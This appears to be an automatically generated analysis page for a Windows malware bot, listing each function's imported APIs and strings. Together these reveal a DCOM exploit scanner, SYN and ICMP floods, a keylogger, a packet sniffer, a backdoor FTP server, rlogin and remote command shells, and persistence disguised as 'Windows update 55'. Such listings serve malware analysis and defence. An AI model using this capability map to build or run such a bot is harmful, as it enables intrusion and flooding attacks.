</font></pre></td></tr><tr id="sub_409D0C"><td><pre><a name="sub_409D0C"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_409D0C"><font size=+2>sub_409D0C</a>(9dbe)</font>:<font color=darkgreen>
USER32.ExitWindowsEx</font>
<font color=brown>
"SeShutdownPrivilege"
</font></pre></td></tr><tr id="sub_430240"><td><pre><a name="sub_430240"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_430240"><font size=+2>sub_430240</a>(a18e)</font>:<font color=brown>
"wtombenv.c"
</font></pre></td></tr><tr id="sub_418730"><td><pre><a name="sub_418730"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_418730"><font size=+2>sub_418730</a>(a1d1)</font>:<font color=brown>
"%.2X "
" Data: <%s> %s\n"
</font></pre></td></tr><tr id="sub_424CC0"><td><pre><a name="sub_424CC0"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_424CC0"><font size=+2>sub_424CC0</a>(a29e)</font>:<font color=brown>
"str != NULL"
"ftell.c"
</font></pre></td></tr><tr id="sub_40B86A"><td><pre><a name="sub_40B86A"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_40B86A"><font size=+2>sub_40B86A</a>(a2fd)</font>:<font color=darkgreen>
WS2_32.htons
WS2_32.inet_addr
WS2_32.socket
WS2_32.WSAGetLastError
WS2_32.bind
WS2_32.closesocket
WS2_32.WSAIoctl
WS2_32.recv
WS2_32.inet_ntoa</font>
<font color=brown>
"[PSNIFF]: Error: socket() failed, retur"...
"[PSNIFF]: Error: bind() failed, returne"...
"[PSNIFF]: Error: WSAIoctl() failed, ret"...
"stormpay.com"
"[PSNIFF]"
"[PSNIFF]: Suspicious %s packet from: %s"...
"[PSNIFF]: Error: recv() failed, returne"...
</font></pre></td></tr><tr id="sub_4132AA"><td><pre><a name="sub_4132AA"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_4132AA"><font size=+2>sub_4132AA</a>(a3e1)</font>:<font color=darkgreen>
WS2_32.WSAStartup
WS2_32.WSACleanup
WS2_32.htons
WS2_32.socket
WS2_32.bind
WS2_32.listen
WS2_32.accept
WS2_32.setsockopt
WS2_32.inet_ntoa
WS2_32.WSAGetLastError
WS2_32.closesocket</font>
<font color=brown>
"[RLOGIND]: Error: WSAStartup(): <%d>."
"[RLOGIND]: Failed to install control-C "...
"[RLOGIND]: Ready and waiting for incomi"...
"[RLOGIND]: Client connection from IP: %"...
"[RLOGIND]: Failed to start client threa"...
"[RLOGIND]: Error: server failed, return"...
</font></pre></td></tr><tr id="sub_402853"><td><pre><a name="sub_402853"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_402853"><font size=+2>sub_402853</a>(a6b1)</font>:<font color=brown>
"[SCAN]: Exploit Statistics:"
" %s: %d,"
" Total: %d in %s."
</font></pre></td></tr><tr id="sub_402E0C"><td><pre><a name="sub_402E0C"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_402E0C"><font size=+2>sub_402E0C</a>(a6ca)</font>:<font color=darkgreen>
WS2_32.socket
WS2_32.htons
WS2_32.ioctlsocket
WS2_32.connect
WS2_32.select
WS2_32.closesocket</font>
<font color=brown></font></pre></td></tr><tr id="sub_425390"><td><pre><a name="sub_425390"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_425390"><font size=+2>sub_425390</a>(a7d8)</font>:<font color=brown>
"C:\\m_unpacker\\packed.exe"
"C:\\m_unpacker\\packed.exe"
"stdargv.c"
</font></pre></td></tr><tr id="sub_40AAC4"><td><pre><a name="sub_40AAC4"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_40AAC4"><font size=+2>sub_40AAC4</a>(a909)</font>:<font color=brown>
"Username accounts for local system:"
"[NET]: User list error: %s <%ld>"
" %S"
"[NET]: An access violation has occured."...
"Total users found: %d."
</font></pre></td></tr><tr id="sub_42A890"><td><pre><a name="sub_42A890"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_42A890"><font size=+2>sub_42A890</a>(a95f)</font>:<font color=brown>
"initctyp.c"
"initctyp.c"
"initctyp.c"
"initctyp.c"
</font></pre></td></tr><tr id="sub_409F3D"><td><pre><a name="sub_409F3D"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_409F3D"><font size=+2>sub_409F3D</a>(a9bc)</font>:<font color=darkgreen>
ADVAPI32.OpenSCManagerA
ADVAPI32.OpenServiceA
ADVAPI32.ControlService
ADVAPI32.StartServiceA
ADVAPI32.DeleteService
ADVAPI32.CloseServiceHandle</font>
<font color=brown></font></pre></td></tr><tr id="sub_407195"><td><pre><a name="sub_407195"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_407195"><font size=+2>sub_407195</a>(ab95)</font>:<font color=darkgreen>
WS2_32.send
WS2_32.closesocket</font>
<font color=brown>
"text/html"
"application/octet-stream"
"ddd, dd MMM yyyy"
"HH:mm:ss"
"HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
"HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
</font></pre></td></tr><tr id="sub_413532"><td><pre><a name="sub_413532"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_413532"><font size=+2>sub_413532</a>(ac14)</font>:<font color=brown>
"%s%i"
</font></pre></td></tr><tr id="sub_409517"><td><pre><a name="sub_409517"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_409517"><font size=+2>sub_409517</a>(ac3c)</font>:<font color=brown>
"Kernel32.dll failed. <%d>"
"User32.dll failed. <%d>"
"Advapi32.dll failed. <%d>"
"Gdi32.dll failed. <%d>"
"Ws2_32.dll failed. <%d>"
"Wininet.dll failed. <%d>"
"Icmp.dll failed. <%d>"
"Netapi32.dll failed. <%d>"
"Dnsapi.dll failed. <%d>"
"Iphlpapi.dll failed. <%d>"
"Mpr32.dll failed. <%d>"
"Shell32.dll failed. <%d>"
"Odbc32.dll failed. <%d>"
"Avicap32.dll failed. <%d>"
"[MAIN]: DLL test complete."
</font></pre></td></tr><tr id="sub_427BB0"><td><pre><a name="sub_427BB0"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_427BB0"><font size=+2>sub_427BB0</a>(ad38)</font>:<font color=brown>
"osfinfo.c"
</font></pre></td></tr><tr id="sub_414684"><td><pre><a name="sub_414684"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_414684"><font size=+2>sub_414684</a>(add3)</font>:<font color=brown>
" get "
</font></pre></td></tr><tr id="sub_41B840"><td><pre><a name="sub_41B840"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_41B840"><font size=+2>sub_41B840</a>(aefc)</font>:<font color=brown>
"str != NULL"
"fseek.c"
</font></pre></td></tr><tr id="sub_418D70"><td><pre><a name="sub_418D70"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_418D70"><font size=+2>sub_418D70</a>(afb7)</font>:<font color=brown>
"string != NULL"
"sprintf.c"
"format != NULL"
"sprintf.c"
</font></pre></td></tr><tr id="sub_401FDA"><td><pre><a name="sub_401FDA"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_401FDA"><font size=+2>sub_401FDA</a>(b1de)</font>:<font color=darkgreen>
WS2_32.inet_addr
WS2_32.htons
WS2_32.socket
WS2_32.connect
WS2_32.send
WS2_32.recv
WS2_32.closesocket</font>
<font color=brown>
"Dcom135"
"[%s]: Exploiting IP: %s."
</font></pre></td></tr><tr id="sub_414F67"><td><pre><a name="sub_414F67"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_414F67"><font size=+2>sub_414F67</a>(b2d9)</font>:<font color=darkgreen>
WS2_32.WSAStartup
WS2_32.WSASocketA
WS2_32.setsockopt
WS2_32.htons
WS2_32.htonl
WS2_32.sendto
WS2_32.WSAGetLastError
WS2_32.closesocket
WS2_32.WSACleanup</font>
<font color=brown>
"[SYN]: Send error: <%d>."
</font></pre></td></tr><tr id="sub_40562C"><td><pre><a name="sub_40562C"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_40562C"><font size=+2>sub_40562C</a>(b2db)</font>:<font color=darkgreen>
KERNEL32.GetDriveTypeA</font>
<font color=brown>
"?"
"RAM"
"Cdrom"
"Network"
"Disk"
"Invalid"
"Unknown"
</font></pre></td></tr><tr id="sub_406614"><td><pre><a name="sub_406614"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_406614"><font size=+2>sub_406614</a>(b367)</font>:<font color=darkgreen>
WS2_32.WSAStartup
WS2_32.socket
WS2_32.setsockopt
WS2_32.ioctlsocket
WS2_32.htons
WS2_32.bind
WS2_32.listen
WS2_32.select
WS2_32.__WSAFDIsSet
WS2_32.accept
WS2_32.send
WS2_32.recv
WS2_32.closesocket</font>
<font color=brown>
"220 StnyFtpd 0wns j0\n"
"%s %s"
"USER"
"331 Password required\n"
"PASS"
"230 User logged in.\n"
"SYST"
"215 StnyFtpd\n"
"REST"
"350 Restarting.\n"
"257 \"/\" is current directory.\n"
"TYPE"
"A"
"200 Type set to A.\n"
"TYPE"
"I"
"200 Type set to I.\n"
"PASV"
"425 Passive not supported on this serve"...
"LIST"
"226 Transfer complete\n"
"PORT"
"%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
"%x%x\n"
"%s.%s.%s.%s"
"200 PORT command successful.\n"
"RETR"
"150 Opening BINARY mode data connection"...
"226 Transfer complete.\n"
"[FTP]: File transfer complete to IP: %s"...
"425 Can't open data connection.\n"
"QUIT"
"221 Goodbye happy r00ting.\n"
</font></pre></td></tr><tr id="sub_425240"><td><pre><a name="sub_425240"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_425240"><font size=+2>sub_425240</a>(b474)</font>:<font color=brown>
"stdenvp.c"
"stdenvp.c"
</font></pre></td></tr><tr id="sub_41BF80"><td><pre><a name="sub_41BF80"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_41BF80"><font size=+2>sub_41BF80</a>(b61d)</font>:<font color=brown>
"user32.dll"
"wsprintfA"
"Second Chance Assertion Failed: File %s"...
"_CrtDbgReport: String too long or IO Er"...
"Assertion failed: "
"Assertion failed!"
"\r"
"\n"
"%s(%d) : %s"
"_CrtDbgReport: String too long or IO Er"...
</font></pre></td></tr><tr id="sub_40A6F6"><td><pre><a name="sub_40A6F6"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_40A6F6"><font size=+2>sub_40A6F6</a>(b675)</font>:<font color=brown>
"Account: %S"
"Full Name: %S"
"User Comment: %S"
"Comment: %S"
"Unknown"
"Administrator"
"User"
"Guest"
"Privilege Level: %s"
"Auth Flags: %d"
"Home Directory: %S"
"Parameters: %S"
"Password Age: %d"
"Bad Password Count: %d"
"Number of Logins: %d"
"Last Logon: %d"
"Last Logoff: %d"
"Logon Server: %S"
"Country Code: %d"
"User's Language: %d"
"Max. Storage: %d"
"[NET]: User info error: <%ld>"
</font></pre></td></tr><tr id="sub_4174F0"><td><pre><a name="sub_4174F0"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_4174F0"><font size=+2>sub_4174F0</a>(b6b2)</font>:<font color=brown>
"_CrtCheckMemory()"
"dbgheap.c"
"Client hook free failure.\n"
"%s"
"_CrtIsValidHeapPointer(pUserData)"
"dbgheap.c"
"_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)"
"dbgheap.c"
"DAMAGE: before %hs block (#%d) at 0x%08"...
"DAMAGE: after %hs block (#%d) at 0x%08X"...
"pHead->nLine == IGNORE_LINE && pHead->l"...
"dbgheap.c"
"pHead->nBlockUse == nBlockUse"
"dbgheap.c"
"_pLastBlock == pHead"
"dbgheap.c"
"_pFirstBlock == pHead"
"dbgheap.c"
</font></pre></td></tr><tr id="sub_418EF0"><td><pre><a name="sub_418EF0"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_418EF0"><font size=+2>sub_418EF0</a>(b784)</font>:<font color=brown>
"string != NULL"
"sprintf.c"
"format != NULL"
"sprintf.c"
</font></pre></td></tr><tr id="sub_417900"><td><pre><a name="sub_417900"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_417900"><font size=+2>sub_417900</a>(b86e)</font>:<font color=brown>
"_CrtCheckMemory()"
"dbgheap.c"
"_CrtIsValidHeapPointer(pUserData)"
"dbgheap.c"
"_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)"
"dbgheap.c"
"pHead->nBlockUse == nBlockUse"
"dbgheap.c"
</font></pre></td></tr><tr id="sub_40AED0"><td><pre><a name="sub_40AED0"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_40AED0"><font size=+2>sub_40AED0</a>(b9d3)</font>:<font color=darkgreen>
WS2_32.inet_addr
WS2_32.gethostbyname</font>
<font color=brown></font></pre></td></tr><tr id="sub_403791"><td><pre><a name="sub_403791"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_403791"><font size=+2>sub_403791</a>(ba2e)</font>:<font color=brown>
"[LOG]: Begin"
"[LOG]: List complete."
</font></pre></td></tr><tr id="sub_40B487"><td><pre><a name="sub_40B487"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_40B487"><font size=+2>sub_40B487</a>(bbe1)</font>:<font color=darkgreen>
ADVAPI32.OpenProcessToken
ADVAPI32.LookupPrivilegeValueA
ADVAPI32.AdjustTokenPrivileges</font>
<font color=brown></font></pre></td></tr><tr id="sub_40C22A"><td><pre><a name="sub_40C22A"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_40C22A"><font size=+2>sub_40C22A</a>(bc9b)</font>:<font color=darkgreen>
WS2_32.htons
WS2_32.socket
WS2_32.connect
WS2_32.closesocket</font>
<font color=brown>
"[MAIN]: Connected to %s."
</font></pre></td></tr><tr id="sub_40C392"><td><pre><a name="sub_40C392"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_40C392"><font size=+2>sub_40C392</a>(c24e)</font>:<font color=darkgreen>
WS2_32.send
WS2_32.closesocket
WS2_32.recv</font>
<font color=brown>
"PASS %s\r\n"
</font></pre></td></tr><tr id="sub_407C49"><td><pre><a name="sub_407C49"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_407C49"><font size=+2>sub_407C49</a>(c265)</font>:<font color=darkgreen>
WS2_32.send
WS2_32.WSAGetLastError</font>
<font color=brown></font></pre></td></tr><tr id="sub_42C610"><td><pre><a name="sub_42C610"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_42C610"><font size=+2>sub_42C610</a>(c3bb)</font>:<font color=brown>
"size >= 0"
"chsize.c"
</font></pre></td></tr><tr id="sub_409EB6"><td><pre><a name="sub_409EB6"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_409EB6"><font size=+2>sub_409EB6</a>(c3c5)</font>:<font color=brown>
"[NET]: Error with service: '%s'. %s"
"[NET]: %s: No service specified."
</font></pre></td></tr><tr id="sub_425AC0"><td><pre><a name="sub_425AC0"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_425AC0"><font size=+2>sub_425AC0</a>(c510)</font>:<font color=brown>
"ioinit.c"
"ioinit.c"
</font></pre></td></tr><tr id="sub_40B4F2"><td><pre><a name="sub_40B4F2"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_40B4F2"><font size=+2>sub_40B4F2</a>(c584)</font>:<font color=darkgreen>
KERNEL32.CreateToolhelp32Snapshot
KERNEL32.Process32First
KERNEL32.Process32Next
KERNEL32.Module32First</font>
<font color=brown>
"SeDebugPrivilege"
"ACKWIN32.EXE"
" %s (%d)"
" %s (%d)"
" %s (%d)"
"SeDebugPrivilege"
</font></pre></td></tr><tr id="sub_4181D0"><td><pre><a name="sub_4181D0"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_4181D0"><font size=+2>sub_4181D0</a>(c585)</font>:<font color=brown>
"_CrtMemCheckPoint: NULL state pointer.\n"...
"%s"
"Bad memory block found at 0x%08X.\n"
</font></pre></td></tr><tr id="sub_4083E7"><td><pre><a name="sub_4083E7"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_4083E7"><font size=+2>sub_4083E7</a>(c85a)</font>:<font color=darkgreen>
WS2_32.send</font>
<font color=brown></font></pre></td></tr><tr id="sub_4038C0"><td><pre><a name="sub_4038C0"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_4038C0"><font size=+2>sub_4038C0</a>(c8ef)</font>:<font color=darkgreen>
ADVAPI32.RegCreateKeyExA
ADVAPI32.RegSetValueExA
ADVAPI32.RegDeleteValueA
ADVAPI32.RegCloseKey</font>
<font color=brown>
"Windows update 55"
"DISPLAY"
</font></pre></td></tr><tr id="sub_405938"><td><pre><a name="sub_405938"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_405938"><font size=+2>sub_405938</a>(cb3a)</font>:<font color=darkgreen>
WS2_32.closesocket
WS2_32.WSACleanup</font>
<font color=brown></font></pre></td></tr><tr id="sub_430AA0"><td><pre><a name="sub_430AA0"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_430AA0"><font size=+2>sub_430AA0</a>(cb7c)</font>:<font color=brown>
"setenv.c"
"setenv.c"
</font></pre></td></tr><tr id="sub_426B40"><td><pre><a name="sub_426B40"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_426B40"><font size=+2>sub_426B40</a>(ced4)</font>:<font color=brown>
"user32.dll"
"MessageBoxA"
"GetActiveWindow"
"GetLastActivePopup"
</font></pre></td></tr><tr id="sub_40449C"><td><pre><a name="sub_40449C"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_40449C"><font size=+2>sub_40449C</a>(d3f9)</font>:<font color=darkgreen>
WS2_32.closesocket
WS2_32.recv</font>
<font color=brown>
"[DCC]: Failed to open socket."
"[DCC]: Failed to open remote command sh"...
"\n"
"[DCC]: Failed to send to Remote command"...
</font></pre></td></tr><tr id="sub_40B0E5"><td><pre><a name="sub_40B0E5"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_40B0E5"><font size=+2>sub_40B0E5</a>(da39)</font>:<font color=darkgreen>
IPHLPAPI.IcmpCreateFile
WS2_32.inet_addr
WS2_32.gethostbyname
IPHLPAPI.IcmpSendEcho
IPHLPAPI.IcmpCloseHandle</font>
<font color=brown>
"[PING]: Error sending pings to %s."
"[PING]: Finished sending pings to %s."
</font></pre></td></tr><tr id="sub_4229E0"><td><pre><a name="sub_4229E0"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_4229E0"><font size=+2>sub_4229E0</a>(db6b)</font>:<font color=brown>
"e+000"
</font></pre></td></tr><tr id="sub_4058B3"><td><pre><a name="sub_4058B3"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_4058B3"><font size=+2>sub_4058B3</a>(dc5b)</font>:<font color=darkgreen>
KERNEL32.GetLogicalDriveStringsA</font>
<font color=brown>
"A:\\"
</font></pre></td></tr><tr id="sub_413B31"><td><pre><a name="sub_413B31"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_413B31"><font size=+2>sub_413B31</a>(dcb6)</font>:<font color=darkgreen>
ADVAPI32.RegOpenKeyExA
ADVAPI32.RegSetValueExA
ADVAPI32.RegCloseKey</font>
<font color=brown>
"Software\\Microsoft\\OLE"
"EnableDCOM"
"[SECURE]: Disable DCOM failed."
"[SECURE]: DCOM disabled."
"[SECURE]: Failed to open DCOM registry "...
"SYSTEM\\CurrentControlSet\\Control\\Lsa"
"restrictanonymous"
"[SECURE]: Failed to restrict access to "...
"[SECURE]: Restricted access to the IPC$"...
"[SECURE]: Failed to open IPC$ Restricti"...
"[SECURE]: Advapi32.dll couldn't be load"...
"[SECURE]: Share '%s' deleted."
"[SECURE]: Failed to delete '%s' share."
"IPC$"
"[SECURE]: Share '%S' deleted."
"[SECURE]: Failed to delete '%S' share."
"[SECURE]: Network shares deleted."
"[SECURE]: Netapi32.dll couldn't be load"...
</font></pre></td></tr><tr id="sub_40AFEC"><td><pre><a name="sub_40AFEC"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_40AFEC"><font size=+2>sub_40AFEC</a>(e076)</font>:<font color=darkgreen>
WS2_32.getsockname</font>
<font color=brown>
"%d.%d.%d.%d"
</font></pre></td></tr><tr id="sub_419B30"><td><pre><a name="sub_419B30"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_419B30"><font size=+2>sub_419B30</a>(e108)</font>:<font color=brown>
"string != NULL"
"fgets.c"
"str != NULL"
"fgets.c"
</font></pre></td></tr><tr id="sub_407E55"><td><pre><a name="sub_407E55"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_407E55"><font size=+2>sub_407E55</a>(e17c)</font>:<font color=darkgreen>
WS2_32.socket
WS2_32.WSAGetLastError
WS2_32.setsockopt
WS2_32.inet_addr
WS2_32.htons
WS2_32.sendto
WS2_32.closesocket</font>
<font color=brown>
"[ICMP]: Error: socket() failed, returne"...
"[ICMP]: Error: setsockopt() failed, ret"...
"[ICMP]: Invalid target IP."
"[ICMP]: Error sending packets to IP: %s"...
"[ICMP]: Done with %s flood to IP: %s. S"...
</font></pre></td></tr><tr id="sub_407D34"><td><pre><a name="sub_407D34"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_407D34"><font size=+2>sub_407D34</a>(e1a1)</font>:<font color=darkgreen>
WS2_32.WSAStartup
WS2_32.socket
WS2_32.htons
WS2_32.connect
WS2_32.send
WS2_32.recv
WS2_32.closesocket
WS2_32.WSACleanup</font>
<font color=brown>
"%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
</font></pre></td></tr><tr id="sub_41F930"><td><pre><a name="sub_41F930"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_41F930"><font size=+2>sub_41F930</a>(e283)</font>:<font color=brown>
"tidtable.c"
</font></pre></td></tr><tr id="sub_42F050"><td><pre><a name="sub_42F050"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_42F050"><font size=+2>sub_42F050</a>(e311)</font>:<font color=brown>
"inithelp.c"
"inithelp.c"
</font></pre></td></tr><tr id="sub_419740"><td><pre><a name="sub_419740"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_419740"><font size=+2>sub_419740</a>(e34f)</font>:<font color=brown>
"stream != NULL"
"fclose.c"
</font></pre></td></tr><tr id="sub_41301C"><td><pre><a name="sub_41301C"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_41301C"><font size=+2>sub_41301C</a>(e3c8)</font>:<font color=darkgreen>
WS2_32.select
WS2_32.closesocket
WS2_32.recv
WS2_32.getpeername
WS2_32.WSAGetLastError
WS2_32.gethostbyaddr
WS2_32.inet_ntoa
WS2_32.send</font>
<font color=brown>
"[RLOGIND]: Error: getpeername(): <%d>."
"Permission denied\n"
"[RLOGIND]: User logged in: <%s@%s>."
"[RLOGIND]: Error: SessionRun(): <%d>."
"[RLOGIND]: User logged out: <%s@%s>."
</font></pre></td></tr><tr id="sub_413221"><td><pre><a name="sub_413221"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_413221"><font size=+2>sub_413221</a>(e4e3)</font>:<font color=darkgreen>
WS2_32.recv</font>
<font color=brown>
"[RLOGIND]: Protocol string too long."
</font></pre></td></tr><tr id="sub_4084C8"><td><pre><a name="sub_4084C8"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_4084C8"><font size=+2>sub_4084C8</a>(e8aa)</font>:<font color=brown>
"mscobngins.dat"
"[%d-%d-%d %d:%d:%d] %s\r\n"
"[KEYLOG]: %s"
</font></pre></td></tr><tr id="sub_403076"><td><pre><a name="sub_403076"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_403076"><font size=+2>sub_403076</a>(e954)</font>:<font color=darkgreen>
WS2_32.inet_ntoa</font>
<font color=brown>
"[SCAN]: IP: %s:%d, Scan thread: %d, Sub"...
"[SCAN]: IP: %s, Port %d is open."
"asn1smbnt"
</font></pre></td></tr><tr id="sub_406C9A"><td><pre><a name="sub_406C9A"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_406C9A"><font size=+2>sub_406C9A</a>(eaa6)</font>:<font color=darkgreen>
WS2_32.send
WS2_32.closesocket
WS2_32.WSACleanup</font>
<font color=brown>
"rb"
</font></pre></td></tr><tr id="sub_40888A"><td><pre><a name="sub_40888A"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_40888A"><font size=+2>sub_40888A</a>(eb03)</font>:<font color=darkgreen>
WININET.InternetOpenA</font>
<font color=brown>
"kernel32.dll"
"SetErrorMode"
"CreateToolhelp32Snapshot"
"Process32First"
"GetDiskFreeSpaceExA"
"GetLogicalDriveStringsA"
"SearchPathA"
"QueryPerformanceCounter"
"QueryPerformanceFrequency"
"RegisterServiceProcess"
"user32.dll"
"SendMessageA"
"FindWindowA"
"IsWindow"
"GetClipboardData"
"CloseClipboard"
"GetAsyncKeyState"
"GetKeyState"
"GetWindowTextA"
"GetForegroundWindow"
"advapi32.dll"
"RegCreateKeyExA"
"RegSetValueExA"
"RegQueryValueExA"
"RegDeleteValueA"
"RegCloseKey"
"OpenProcessToken"
"LookupPrivilegeValueA"
"AdjustTokenPrivileges"
"OpenSCManagerA"
"OpenServiceA"
"ControlService"
"CloseServiceHandle"
"EnumServicesStatusA"
"IsValidSecurityDescriptor"
"GetUserNameA"
"gdi32.dll"
"CreateDCA"
"CreateDIBSection"
"CreateCompatibleDC"
"GetDIBColorTable"
"SelectObject"
"BitBlt"
"DeleteDC"
"DeleteObject"
"ws2_32.dll"
"WSAStartup"
"WSASocketA"
"WSAAsyncSelect"
"__WSAFDIsSet"
"WSAIoctl"
"WSAGetLastError"
"WSACleanup"
"socket"
"ioctlsocket"
"connect"
"inet_ntoa"
"inet_addr"
"htons"
"htonl"
"ntohs"
"ntohl"
"send"
"sendto"
"recv"
"recvfrom"
"bind"
"select"
"listen"
"accept"
"setsockopt"
"getsockname"
"gethostname"
"getpeername"
"closesocket"
"wininet.dll"
"InternetGetConnectedState"
"InternetGetConnectedStateEx"
"HttpOpenRequestA"
"HttpSendRequestA"
"InternetConnectA"
"InternetOpenUrlA"
"InternetCrackUrlA"
"InternetReadFile"
"InternetCloseHandle"
"Mozilla/4.0 (compatible)"
"icmp.dll"
"IcmpCreateFile"
"IcmpCloseHandle"
"IcmpSendEcho"
"netapi32.dll"
"NetShareAdd"
"NetShareDel"
"NetShareEnum"
"NetScheduleJobAdd"
"NetApiBufferFree"
"NetRemoteTOD"
"NetUserAdd"
"NetUserDel"
"NetUserEnum"
"NetUserGetInfo"
"NetMessageBufferSend"
"dnsapi.dll"
"DnsFlushResolverCache"
"DnsFlushResolverCacheEntry_A"
"iphlpapi.dll"
"DeleteIpNetEntry"
"mpr.dll"
"WNetAddConnection2A"
"WNetAddConnection2W"
"WNetCancelConnection2A"
"WNetCancelConnection2W"
"shell32.dll"
"SHChangeNotify"
"odbc32.dll"
"SQLDriverConnect"
"SQLAllocHandle"
"avicap32.dll"
"capCreateCaptureWindowA"
"capGetDriverDescriptionA"
</font></pre></td></tr><tr id="sub_401B9B"><td><pre><a name="sub_401B9B"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_401B9B"><font size=+2>sub_401B9B</a>(ec29)</font>:<font color=darkgreen>
WS2_32.htons
WS2_32.send
WS2_32.recv</font>
<font color=brown>
"\\\\%s\\ipc$"
</font></pre></td></tr><tr id="sub_4035E1"><td><pre><a name="sub_4035E1"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_4035E1"><font size=+2>sub_4035E1</a>(edda)</font>:<font color=brown>
"[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
</font></pre></td></tr><tr id="sub_414541"><td><pre><a name="sub_414541"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_414541"><font size=+2>sub_414541</a>(f079)</font>:<font color=darkgreen>
WS2_32.recv
WS2_32.send</font>
<font color=brown></font></pre></td></tr><tr id="sub_41FBE0"><td><pre><a name="sub_41FBE0"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_41FBE0"><font size=+2>sub_41FBE0</a>(f0ae)</font>:<font color=brown>
"format != NULL"
"input.c"
"stream != NULL"
"input.c"
"]"
" \t-\r]"
</font></pre></td></tr><tr id="sub_4260B0"><td><pre><a name="sub_4260B0"></a><a href="7fafedadd282caf345d48733a8dcccd2_unpacked.asm.html#sub_4260B0"><font size=+2>sub_4260B0</a>(f336)</font>:<font color=brown>
"<program name unknown>"
"..."
"Runtime Error!\n\nProgram: "
"\n\n"
"Microsoft Visual C++ Runtime Library"
